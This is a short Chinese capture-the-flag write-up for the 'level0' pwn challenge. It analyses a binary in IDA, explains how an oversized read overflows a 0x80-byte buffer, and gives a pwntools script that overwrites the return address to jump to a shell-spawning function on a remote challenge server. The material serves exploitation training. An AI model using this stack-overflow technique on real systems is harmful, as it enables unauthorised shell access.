0%

level0

题目描述:菜鸡了解了什么是溢出,他相信自己能得到shell

0x01

checksec

image-20200629214218877

IDA

main函数伪代码

image-20200629214327709

尝试运行

image-20200629214412805

0x02

分析程序发现callsystem函数可直接返回shell

image-20200629214705289

进一步跟进vulnerable_function函数

image-20200629215046205

read可接收0x200个字节,buf的字符数组长度是0x80,我们可以覆盖到返回地址的位置让程序跳转到callsystem函数地址处给我们返回一个回话

buf的数组空间结尾还有一个s,八个字节,最后的r就是我们要覆盖的返回地址的地方

image-20200629220111717

0x03

构造exp

1
2
3
4
5
6
7
from pwn import *

p = remote('220.249.52.133',43369)
payload = 'a'*0x80+'a'*0x8+p64(0x400596)
p.recvuntil('Hello, World')
p.sendline(payload)
p.interactive()

image-20200629220520055